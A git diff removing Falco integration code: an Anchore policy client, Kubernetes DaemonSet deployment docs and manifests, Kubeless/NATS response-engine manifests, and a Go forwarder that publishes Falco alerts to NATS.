-class AnchoreClient:
-    def __init__(self, user, password, url, ssl_verify):
-        self._user = user
-        self._password = password
-        self._url = url
-        self._ssl_verify = ssl_verify
-
-    def get_images_with_policy_result(self, policy_result):
-        results = []
-        for image in self._get_all_images():
-            final_action = self._evaluate_image(image)
-
-            if final_action == 'stop':
-                results.append(image['image_id'])
-
-        return results
-
-    def _get_all_images(self):
-        response = self._do_get_request(self._url + '/images')
-        return [
-            {
-                'image_id': image['image_detail'][0]['imageId'],
-                'image_digest': image['image_detail'][0]['imageDigest'],
-                'full_tag': image['image_detail'][0]['fulltag']
-            } for image in response.json()]
-
-    def _do_get_request(self, url):
-        return requests.get(url,
-                            auth=(self._user, self._password),
-                            verify=self._ssl_verify,
-                            headers={'Content-Type': 'application/json'})
-
-    def _evaluate_image(self, image):
-        response = self._do_get_request(self._url + '/images/{}/check?tag={}'.format(image['image_digest'], image['full_tag']))
-        if response.status_code == 200:
-            return response.json()[0][image['image_digest']][image['full_tag']][0]['detail']['result']['final_action']

integrations/anchore-falco/main.py

@@ -1,21 +0,0 @@
-import os
-
-import actions, infrastructure
-
-
-def main():
-    anchore_client = infrastructure.AnchoreClient(
-        os.environ.get('ANCHORE_CLI_USER', 'admin'),
-        os.environ['ANCHORE_CLI_PASS'],
-        os.environ.get('ANCHORE_CLI_URL', 'http://localhost:8228/v1'),
-        os.environ.get('ANCHORE_CLI_SSL_VERIFY', True)
-    )
-    action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(anchore_client)
-
-    result = action.run()
-
-    print(result)
-
-
-if __name__ == '__main__':
-    main()

integrations/anchore-falco/specs/create_falco_rule_from_anchore_policy_results_spec.py

@@ -1,21 +0,0 @@
-from mamba import description, it, before
-from expects import expect, contain
-
-from doublex import Stub, when
-
-import actions
-import infrastructure
-
-
-with description(actions.CreateFalcoRuleFromAnchoreStopPolicyResults) as self:
-    with before.each:
-        self.anchore_client = Stub(infrastructure.AnchoreClient)
-        self.action = actions.CreateFalcoRuleFromAnchoreStopPolicyResults(self.anchore_client)
-
-    with it('queries Anchore Server for images with Stop as policy results'):
-        image_id = 'any image id'
-        when(self.anchore_client).get_images_with_policy_result('stop').returns([image_id])
-
-        result = self.action.run()
-
-        expect(result).to(contain(image_id))

integrations/anchore-falco/specs/infrastructure/anchore_client_spec.py

@@ -1,19 +0,0 @@
-from mamba import description, it
-from expects import expect, have_length, be_above
-
-import os
-
-import infrastructure
-
-
-with description(infrastructure.AnchoreClient) as self:
-    with it('retrieves images with stop policy results'):
-        user = os.environ['ANCHORE_CLI_USER']
-        password = os.environ['ANCHORE_CLI_PASS']
-        url = os.environ['ANCHORE_CLI_URL']
-
-        client = infrastructure.AnchoreClient(user, password, url, True)
-
-        result = client.get_images_with_policy_result('stop')
-
-        expect(result).to(have_length(be_above(1)))

integrations/k8s-using-daemonset/README.md

@@ -1,92 +0,0 @@
-# Example Kubernetes Daemon Sets for Sysdig Falco
-
-This directory gives you the required YAML files to stand up Sysdig Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior. 
-
-The two options are provided to deploy a Daemon Set:
-- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
-- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. 
-
-Also provided:
-- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
-
-## Deploying to Kubernetes with RBAC enabled
-
-Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
-serviceaccount "falco-account" created
-clusterrole "falco-cluster-role" created
-clusterrolebinding "falco-cluster-role-binding" created
-k8s-using-daemonset$
-```
-
-The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll need to first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory. Any modification of the configuration should be performed on these copies rather than the original files.
-
-```
-k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
-k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
-```
-
-If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
-
-```
-program_output:
-  enabled: true
-  keep_alive: false
-  program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
-```
-
-You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes. 
-
-```
-k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
-configmap "falco-config" created
-k8s-using-daemonset$
-```
-
-Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml 
-daemonset "falco" created
-k8s-using-daemonset$
-```
-
-
-## Deploying to Kubernetes without RBAC enabled
-
-If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
-
-```
-k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
-```
-
-
-## Verifying the installation
-
-In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
-
-```
-k8s-using-daemonset$ kubectl get pods
-NAME          READY     STATUS    RESTARTS   AGE
-falco-74htl   1/1       Running   0          13h
-falco-fqz2m   1/1       Running   0          13h
-falco-sgjfx   1/1       Running   0          13h
-k8s-using-daemonset$ kubectl exec -it falco-74htl bash
-root@falco-74htl:/# exit
-k8s-using-daemonset$ kubectl logs falco-74htl
-{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
-k8s-using-daemonset$
-``` 
-
-Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events. 
-
-```
-k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
-&& sleep 1 \
-&& kubectl delete -f falco-event-generator-deployment.yaml
-deployment "falco-event-generator-deployment" created
-deployment "falco-event-generator-deployment" deleted
-k8s-using-daemonset$ 
-```

integrations/k8s-using-daemonset/k8s-with-rbac/falco-account.yaml

@@ -1,29 +0,0 @@
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: falco-account
----
-kind: ClusterRole
-apiVersion: rbac.authorization.k8s.io/v1beta1
-metadata:
-  name: falco-cluster-role
-rules:
-  - apiGroups: ["extensions",""]
-    resources: ["nodes","namespaces","pods","replicationcontrollers","services","events","configmaps"]
-    verbs: ["get","list","watch"]
-  - nonResourceURLs: ["/healthz", "/healthz/*"]
-    verbs: ["get"]
----
-kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1beta1
-metadata:
-  name: falco-cluster-role-binding
-  namespace: default
-subjects:
-  - kind: ServiceAccount
-    name: falco-account
-    namespace: default
-roleRef:
-  kind: ClusterRole
-  name: falco-cluster-role
-  apiGroup: rbac.authorization.k8s.io

integrations/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap.yaml

@@ -1,63 +0,0 @@
-apiVersion: extensions/v1beta1
-kind: DaemonSet
-metadata:
-  name: falco
-  labels:
-    name: falco-daemonset
-    app: demo
-spec:
-  template:
-    metadata:
-      labels:
-        name: falco
-        app: demo
-        role: security
-    spec:
-      serviceAccount: falco-account
-      containers:
-        - name: falco
-          image: sysdig/falco:latest
-          securityContext:
-            privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
-          volumeMounts:
-            - mountPath: /host/var/run/docker.sock
-              name: docker-socket
-            - mountPath: /host/dev
-              name: dev-fs
-            - mountPath: /host/proc
-              name: proc-fs
-              readOnly: true
-            - mountPath: /host/boot
-              name: boot-fs
-              readOnly: true
-            - mountPath: /host/lib/modules
-              name: lib-modules
-              readOnly: true
-            - mountPath: /host/usr
-              name: usr-fs
-              readOnly: true
-            - mountPath: /etc/falco
-              name: falco-config
-      volumes:
-        - name: docker-socket
-          hostPath:
-            path: /var/run/docker.sock
-        - name: dev-fs
-          hostPath:
-            path: /dev
-        - name: proc-fs
-          hostPath:
-            path: /proc
-        - name: boot-fs
-          hostPath:
-            path: /boot
-        - name: lib-modules
-          hostPath:
-            path: /lib/modules
-        - name: usr-fs
-          hostPath:
-            path: /usr
-        - name: falco-config
-          configMap:
-            name: falco-config

integrations/kubernetes-response-engine/README.md

@@ -1,18 +0,0 @@
-# Kubernetes Response Engine for Sysdig Falco
-
-A response engine for Falco that allows to process security events executing playbooks to respond to security threats.
-
-## Architecture
-
-* *[Falco](https://sysdig.com/opensource/falco/)* monitors containers and processes to alert on unexpected behavior. This is defined through the runtime policy built from multiple rules that define what the system should and shouldn't do.
-* *falco-nats* forwards the alert to a message broker service into a topic compound by `falco.<severity>.<rule_name_slugified>`.
-* *[NATS](https://nats.io/)*, our message broker, delivers the alert to any subscribers to the different topics.
-* *[Kubeless](https://kubeless.io/)*, a FaaS framework that runs in Kubernetes, receives the security events and executes the configured playbooks.
-
-## Glossary
-
-* *Security event*: Alert sent by Falco when a configured rule matches the behaviour on that host.
-* *Playbook*: Each piece code executed when an alert is received to respond to that threat in an automated way, some examples include:
-  - sending an alert to Slack
-  - stop the pod killing the container
-  - taint the specific node where the pod is running

integrations/kubernetes-response-engine/deployment/Makefile

@@ -1,9 +0,0 @@
-deploy:
-	kubectl apply -f nats/
-	kubectl apply -f kubeless/
-	kubectl apply -f network-policy.yaml
-
-clean:
-	kubectl delete -f kubeless/
-	kubectl delete -f nats/
-	kubectl delete -f network-policy.yaml

integrations/kubernetes-response-engine/deployment/README.md

@@ -1,20 +0,0 @@
-# Kubernetes Manifests for Kubernetes Response Engine
-
-In this directory are the manifests for creating required infrastructure in the
-Kubernetes cluster
-
-## Deploy
-
-For deploying NATS, Falco + Falco-NATS output and Kubeless just run default Makefile target:
-
-```
-make
-```
-
-## Clean
-
-You can clean your cluster with:
-
-```
-make clean
-```

integrations/kubernetes-response-engine/deployment/kubeless/kubeless-namespace.yaml

@@ -1,5 +0,0 @@
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: kubeless

integrations/kubernetes-response-engine/deployment/kubeless/kubeless-v1.0.0-alpha.6.yaml

@@ -1,369 +0,0 @@
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: controller-acct
-  namespace: kubeless
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: kubeless-controller-deployer
-rules:
-- apiGroups:
-  - ""
-  resources:
-  - services
-  - configmaps
-  verbs:
-  - create
-  - get
-  - delete
-  - list
-  - update
-  - patch
-- apiGroups:
-  - apps
-  - extensions
-  resources:
-  - deployments
-  verbs:
-  - create
-  - get
-  - delete
-  - list
-  - update
-  - patch
-- apiGroups:
-  - ""
-  resources:
-  - pods
-  verbs:
-  - list
-  - delete
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubeless-registry-credentials
-  resources:
-  - secrets
-  verbs:
-  - get
-- apiGroups:
-  - kubeless.io
-  resources:
-  - functions
-  - httptriggers
-  - cronjobtriggers
-  verbs:
-  - get
-  - list
-  - watch
-  - update
-  - delete
-- apiGroups:
-  - batch
-  resources:
-  - cronjobs
-  - jobs
-  verbs:
-  - create
-  - get
-  - delete
-  - deletecollection
-  - list
-  - update
-  - patch
-- apiGroups:
-  - autoscaling
-  resources:
-  - horizontalpodautoscalers
-  verbs:
-  - create
-  - get
-  - delete
-  - list
-  - update
-  - patch
-- apiGroups:
-  - apiextensions.k8s.io
-  resources:
-  - customresourcedefinitions
-  verbs:
-  - get
-  - list
-- apiGroups:
-  - monitoring.coreos.com
-  resources:
-  - alertmanagers
-  - prometheuses
-  - servicemonitors
-  verbs:
-  - '*'
-- apiGroups:
-  - extensions
-  resources:
-  - ingresses
-  verbs:
-  - create
-  - get
-  - list
-  - update
-  - delete
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: kubeless-controller-deployer
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: kubeless-controller-deployer
-subjects:
-- kind: ServiceAccount
-  name: controller-acct
-  namespace: kubeless
----
-apiVersion: apiextensions.k8s.io/v1beta1
-description: Kubernetes Native Serverless Framework
-kind: CustomResourceDefinition
-metadata:
-  name: functions.kubeless.io
-spec:
-  group: kubeless.io
-  names:
-    kind: Function
-    plural: functions
-    singular: function
-  scope: Namespaced
-  version: v1beta1
----
-apiVersion: apiextensions.k8s.io/v1beta1
-description: CRD object for HTTP trigger type
-kind: CustomResourceDefinition
-metadata:
-  name: httptriggers.kubeless.io
-spec:
-  group: kubeless.io
-  names:
-    kind: HTTPTrigger
-    plural: httptriggers
-    singular: httptrigger
-  scope: Namespaced
-  version: v1beta1
----
-apiVersion: apiextensions.k8s.io/v1beta1
-description: CRD object for HTTP trigger type
-kind: CustomResourceDefinition
-metadata:
-  name: cronjobtriggers.kubeless.io
-spec:
-  group: kubeless.io
-  names:
-    kind: CronJobTrigger
-    plural: cronjobtriggers
-    singular: cronjobtrigger
-  scope: Namespaced
-  version: v1beta1
----
-apiVersion: v1
-data:
-  builder-image: kubeless/function-image-builder:v1.0.0-alpha.6
-  builder-image-secret: ""
-  deployment: '{}'
-  enable-build-step: "false"
-  function-registry-tls-verify: "true"
-  ingress-enabled: "false"
-  provision-image: kubeless/unzip@sha256:f162c062973cca05459834de6ed14c039d45df8cdb76097f50b028a1621b3697
-  provision-image-secret: ""
-  runtime-images: |-
-    [
-      {
-        "ID": "python",
-        "compiled": false,
-        "versions": [
-          {
-            "name": "python27",
-            "version": "2.7",
-            "runtimeImage": "kubeless/python@sha256:07cfb0f3d8b6db045dc317d35d15634d7be5e436944c276bf37b1c630b03add8",
-            "initImage": "python:2.7"
-          },
-          {
-            "name": "python34",
-            "version": "3.4",
-            "runtimeImage": "kubeless/python@sha256:f19640c547a3f91dbbfb18c15b5e624029b4065c1baf2892144e07c36f0a7c8f",
-            "initImage": "python:3.4"
-          },
-          {
-            "name": "python36",
-            "version": "3.6",
-            "runtimeImage": "kubeless/python@sha256:0c9f8f727d42625a4e25230cfe612df7488b65f283e7972f84108d87e7443d72",
-            "initImage": "python:3.6"
-          }
-        ],
-        "depName": "requirements.txt",
-        "fileNameSuffix": ".py"
-      },
-      {
-        "ID": "nodejs",
-        "compiled": false,
-        "versions": [
-          {
-            "name": "node6",
-            "version": "6",
-            "runtimeImage": "kubeless/nodejs@sha256:013facddb0f66c150844192584d823d7dfb2b5b8d79fd2ae98439c86685da657",
-            "initImage": "node:6.10"
-          },
-          {
-            "name": "node8",
-            "version": "8",
-            "runtimeImage": "kubeless/nodejs@sha256:b155d7e20e333044b60009c12a25a97c84eed610f2a3d9d314b47449dbdae0e5",
-            "initImage": "node:8"
-          }
-        ],
-        "depName": "package.json",
-        "fileNameSuffix": ".js"
-      },
-      {
-        "ID": "nodejs_distroless",
-        "compiled": false,
-        "versions": [
-          {
-            "name": "node8",
-            "version": "8",
-            "runtimeImage": "henrike42/kubeless/runtimes/nodejs/distroless:0.0.2",
-            "initImage": "node:8"
-          }
-        ],
-        "depName": "package.json",
-        "fileNameSuffix": ".js"
-      },
-      {
-        "ID": "ruby",
-        "compiled": false,
-        "versions": [
-          {
-            "name": "ruby24",
-            "version": "2.4",
-            "runtimeImage": "kubeless/ruby@sha256:01665f1a32fe4fab4195af048627857aa7b100e392ae7f3e25a44bd296d6f105",
-            "initImage": "bitnami/ruby:2.4"
-          }
-        ],
-        "depName": "Gemfile",
-        "fileNameSuffix": ".rb"
-      },
-      {
-        "ID": "php",
-        "compiled": false,
-        "versions": [
-          {
-            "name": "php72",
-            "version": "7.2",
-            "runtimeImage": "kubeless/php@sha256:9b86066b2640bedcd88acb27f43dfaa2b338f0d74d9d91131ea781402f7ec8ec",
-            "initImage": "composer:1.6"
-          }
-        ],
-        "depName": "composer.json",
-        "fileNameSuffix": ".php"
-      },
-      {
-        "ID": "go",
-        "compiled": true,
-        "versions": [
-          {
-            "name": "go1.10",
-            "version": "1.10",
-            "runtimeImage": "kubeless/go@sha256:e2fd49f09b6ff8c9bac6f1592b3119ea74237c47e2955a003983e08524cb3ae5",
-            "initImage": "kubeless/go-init@sha256:983b3f06452321a2299588966817e724d1a9c24be76cf1b12c14843efcdff502"
-          }
-        ],
-        "depName": "Gopkg.toml",
-        "fileNameSuffix": ".go"
-      },
-      {
-        "ID": "dotnetcore",
-        "compiled": true,
-        "versions": [
-          {
-            "name": "dotnetcore2.0",
-            "version": "2.0",
-            "runtimeImage": "allantargino/kubeless-dotnetcore@sha256:1699b07d9fc0276ddfecc2f823f272d96fd58bbab82d7e67f2fd4982a95aeadc",
-            "initImage": "allantargino/aspnetcore-build@sha256:0d60f845ff6c9c019362a68b87b3920f3eb2d32f847f2d75e4d190cc0ce1d81c"
-          }
-        ],
-        "depName": "project.csproj",
-        "fileNameSuffix": ".cs"
-      },
-      {
-        "ID": "java",
-        "compiled": true,
-        "versions": [
-          {
-            "name": "java1.8",
-            "version": "1.8",
-            "runtimeImage": "kubeless/java@sha256:debf9502545f4c0e955eb60fabb45748c5d98ed9365c4a508c07f38fc7fefaac",
-            "initImage": "kubeless/java-init@sha256:7e5e4376d3ab76c336d4830c9ed1b7f9407415feca49b8c2bf013e279256878f"
-          }
-        ],
-        "depName": "pom.xml",
-        "fileNameSuffix": ".java"
-      },
-      {
-         "ID": "ballerina",
-         "compiled": true,
-         "versions": [
-           {
-              "name": "ballerina0.975.0",
-              "version": "0.975.0",
-              "runtimeImage": "kubeless/ballerina@sha256:83e51423972f4b0d6b419bee0b4afb3bb87d2bf1b604ebc4366c430e7cc28a35",
-              "initImage": "kubeless/ballerina-init@sha256:05857ce439a7e290f9d86f8cb38ea3b574670c0c0e91af93af06686fa21ecf4f"
-           }
-         ],
-         "depName": "",
-         "fileNameSuffix": ".bal"
-      }
-    ]
-  service-type: ClusterIP
-kind: ConfigMap
-metadata:
-  name: kubeless-config
-  namespace: kubeless
----
-apiVersion: apps/v1beta1
-kind: Deployment
-metadata:
-  labels:
-    kubeless: controller
-  name: kubeless-controller-manager
-  namespace: kubeless
-spec:
-  selector:
-    matchLabels:
-      kubeless: controller
-  template:
-    metadata:
-      labels:
-        kubeless: controller
-    spec:
-      containers:
-      - env:
-        - name: KUBELESS_INGRESS_ENABLED
-          valueFrom:
-            configMapKeyRef:
-              key: ingress-enabled
-              name: kubeless-config
-        - name: KUBELESS_SERVICE_TYPE
-          valueFrom:
-            configMapKeyRef:
-              key: service-type
-              name: kubeless-config
-        - name: KUBELESS_NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-        - name: KUBELESS_CONFIG
-          value: kubeless-config
-        image: bitnami/kubeless-controller-manager:v1.0.0-alpha.6
-        imagePullPolicy: IfNotPresent
-        name: kubeless-controller-manager
-      serviceAccountName: controller-acct

integrations/kubernetes-response-engine/deployment/kubeless/nats-v1.0.0-alpha.6.yaml

@@ -1,74 +0,0 @@
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: nats-controller-deployer
-rules:
-- apiGroups:
-  - ""
-  resources:
-  - services
-  - configmaps
-  verbs:
-  - get
-  - list
-- apiGroups:
-  - kubeless.io
-  resources:
-  - functions
-  - natstriggers
-  verbs:
-  - get
-  - list
-  - watch
-  - update
-  - delete
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: nats-controller-deployer
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: nats-controller-deployer
-subjects:
-- kind: ServiceAccount
-  name: controller-acct
-  namespace: kubeless
----
-apiVersion: apiextensions.k8s.io/v1beta1
-description: CRD object for NATS trigger type
-kind: CustomResourceDefinition
-metadata:
-  name: natstriggers.kubeless.io
-spec:
-  group: kubeless.io
-  names:
-    kind: NATSTrigger
-    plural: natstriggers
-    singular: natstrigger
-  scope: Namespaced
-  version: v1beta1
----
-apiVersion: apps/v1beta1
-kind: Deployment
-metadata:
-  labels:
-    kubeless: nats-trigger-controller
-  name: nats-trigger-controller
-  namespace: kubeless
-spec:
-  selector:
-    matchLabels:
-      kubeless: nats-trigger-controller
-  template:
-    metadata:
-      labels:
-        kubeless: nats-trigger-controller
-    spec:
-      containers:
-      - image: bitnami/nats-trigger-controller:v1.0.0-alpha.6
-        imagePullPolicy: IfNotPresent
-        name: nats-trigger-controller
-      serviceAccountName: controller-acct

integrations/kubernetes-response-engine/deployment/nats/deployment-rbac.yaml

@@ -1,82 +0,0 @@
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: nats-io
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: nats-operator
-  namespace: nats-io
----
-apiVersion: apps/v1beta2
-kind: Deployment
-metadata:
-  name: nats-operator
-  namespace: nats-io
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      name: nats-operator
-  template:
-    metadata:
-      labels:
-        name: nats-operator
-    spec:
-      serviceAccountName: nats-operator
-      containers:
-      - name: nats-operator
-        image: connecteverything/nats-operator:0.2.2-v1alpha2
-        imagePullPolicy: Always
-        env:
-        - name: MY_POD_NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-        - name: MY_POD_NAME
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.name
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: nats-io:nats-operator-binding
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: nats-io:nats-operator
-subjects:
-- kind: ServiceAccount
-  name: nats-operator
-  namespace: nats-io
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: nats-io:nats-operator
-rules:
-# Allow creating CRDs
-- apiGroups:
-  - apiextensions.k8s.io
-  resources:
-  - customresourcedefinitions
-  verbs: ["*"]
-# Allow all actions on NatsClusters
-- apiGroups:
-  - nats.io
-  resources:
-  - natsclusters
-  verbs: ["*"]
-# Allow actions on basic Kubernetes objects
-- apiGroups: [""]
-  resources:
-  - configmaps
-  - secrets
-  - pods
-  - services
-  - endpoints
-  - events
-  verbs: ["*"]

integrations/kubernetes-response-engine/deployment/nats/nats-cluster.yaml

@@ -1,8 +0,0 @@
-apiVersion: "nats.io/v1alpha2"
-kind: "NatsCluster"
-metadata:
-  name: "nats"
-  namespace: "nats-io"
-spec:
-  size: 3
-  version: "1.1.0"

integrations/kubernetes-response-engine/deployment/network-policy.yaml

@@ -1,11 +0,0 @@
-apiVersion: networking.k8s.io/v1
-kind: NetworkPolicy
-metadata:
-  name: isolate
-spec:
-  podSelector:
-    matchLabels:
-      isolated: 'true'
-  policyTypes:
-  - Ingress
-  - Egress

integrations/kubernetes-response-engine/falco-nats/.gitignore

@@ -1 +0,0 @@
-falco-nats

integrations/kubernetes-response-engine/falco-nats/Dockerfile

@@ -1,5 +0,0 @@
-FROM alpine:latest
-
-COPY ./falco-nats /bin/
-
-CMD ["/bin/falco-nats"]

integrations/kubernetes-response-engine/falco-nats/Makefile

@@ -1,12 +0,0 @@
-build:
-	GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s" -o falco-nats main.go
-
-deps:
-	go get -u github.com/nats-io/go-nats
-
-clean:
-	rm falco-nats
-
-docker: build
-	docker build -t sysdig/falco-nats .
-	docker push sysdig/falco-nats

integrations/kubernetes-response-engine/falco-nats/README.md

@@ -1,27 +0,0 @@
-# NATS output for Sysdig Falco
-
-As Falco does not support a NATS output natively, we have created this small
-golang utility wich reads Falco alerts from a named pipe and sends them to a
-NATS server.
-
-This utility is designed to being run in a sidecar container in the same
-Pod as Falco.
-
-## Configuration
-
-You have a [complete Kubernetes manifest available](https://github.com/draios/falco/tree/kubernetes-response-engine/deployment/falco/falco-daemonset.yaml) for future reading.
-
-Take a look at sidecar container and to the initContainers directive which
-craetes the shared pipe between containers.
-
-### Container image
-
-You have this adapter available as a container image. Its name is *sysdig/falco-nats*.
-
-### Parameters Reference
-
-* -s: Specifies the NATS server URL where message will be published.  By default
-    is: *nats://nats.nats-io.svc.cluster.local:4222*
-
-* -f: Specifies the named pipe path where Falco publishes its alerts. By default
-    is: */var/run/falco/nats*

integrations/kubernetes-response-engine/falco-nats/main.go

@@ -1,100 +0,0 @@
-// Copyright 2012-2018 The NATS Authors
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// +build ignore
-
-package main
-
-import (
-	"bufio"
-	"encoding/json"
-	"flag"
-	"github.com/nats-io/go-nats"
-	"log"
-	"os"
-	"regexp"
-	"strings"
-)
-
-var slugRegularExpression = regexp.MustCompile("[^a-z0-9]+")
-
-func main() {
-	var urls = flag.String("s", "nats://nats.nats-io.svc.cluster.local:4222", "The nats server URLs (separated by comma)")
-	var pipePath = flag.String("f", "/var/run/falco/nats", "The named pipe path")
-
-	log.SetFlags(0)
-	flag.Usage = usage
-	flag.Parse()
-
-	nc, err := nats.Connect(*urls)
-	if err != nil {
-		log.Fatal(err)
-	}
-	defer nc.Close()
-
-	pipe, err := os.OpenFile(*pipePath, os.O_RDONLY, 0600)
-	if err != nil {
-		log.Fatal(err)
-	}
-
-	log.Printf("Opened pipe %s", *pipePath)
-
-	reader := bufio.NewReader(pipe)
-	scanner := bufio.NewScanner(reader)
-
-	log.Printf("Scanning %s", *pipePath)
-
-	for scanner.Scan() {
-		msg := []byte(scanner.Text())
-
-		subj, err := subjectAndRuleSlug(msg)
-		if err != nil {
-			log.Fatal(err)
-		}
-		nc.Publish(subj, msg)
-		nc.Flush()
-
-		if err := nc.LastError(); err != nil {
-			log.Fatal(err)
-		} else {
-			log.Printf("Published [%s] : '%s'\n", subj, msg)
-		}
-	}
-}
-
-func usage() {
-	log.Fatalf("Usage: nats-pub [-s server (%s)] <subject> <msg> \n", nats.DefaultURL)
-}
-
-type parsedAlert struct {
-	Priority string `json:"priority"`
-	Rule     string `json:"rule"`
-}
-
-func subjectAndRuleSlug(alert []byte) (string, error) {
-	var result parsedAlert
-	err := json.Unmarshal(alert, &result)
-
-	if err != nil {
-		return "", err
-	}
-
-	subject := "falco." + result.Priority + "." + slugify(result.Rule)
-	subject = strings.ToLower(subject)
-
-	return subject, nil
-}
-
-func slugify(input string) string {
-	return strings.Trim(slugRegularExpression.ReplaceAllString(strings.ToLower(input), "_"), "_")
-}

integrations/kubernetes-response-engine/playbooks/.gitignore

@@ -1,104 +0,0 @@
-# Byte-compiled / optimized / DLL files
-__pycache__/
-*.py[cod]
-*$py.class
-
-# C extensions
-*.so
-
-# Distribution / packaging
-.Python
-build/
-develop-eggs/
-dist/
-downloads/
-eggs/
-.eggs/
-lib/
-lib64/
-parts/
-sdist/
-var/
-wheels/
-*.egg-info/
-.installed.cfg
-*.egg
-MANIFEST
-
-# PyInstaller
-#  Usually these files are written by a python script from a template
-#  before PyInstaller builds the exe, so as to inject date/other infos into it.
-*.manifest
-*.spec
-
-# Installer logs
-pip-log.txt
-pip-delete-this-directory.txt
-
-# Unit test / coverage reports
-htmlcov/
-.tox/
-.coverage
-.coverage.*
-.cache
-nosetests.xml
-coverage.xml
-*.cover
-.hypothesis/
-.pytest_cache/
-
-# Translations
-*.mo
-*.pot
-
-# Django stuff:
-*.log
-local_settings.py
-db.sqlite3
-
-# Flask stuff:
-instance/
-.webassets-cache
-
-# Scrapy stuff:
-.scrapy
-
-# Sphinx documentation
-docs/_build/
-
-# PyBuilder
-target/
-
-# Jupyter Notebook
-.ipynb_checkpoints
-
-# pyenv
-.python-version
-
-# celery beat schedule file
-celerybeat-schedule
-
-# SageMath parsed files
-*.sage.py
-
-# Environments
-.env
-.venv
-env/
-venv/
-ENV/
-env.bak/
-venv.bak/
-
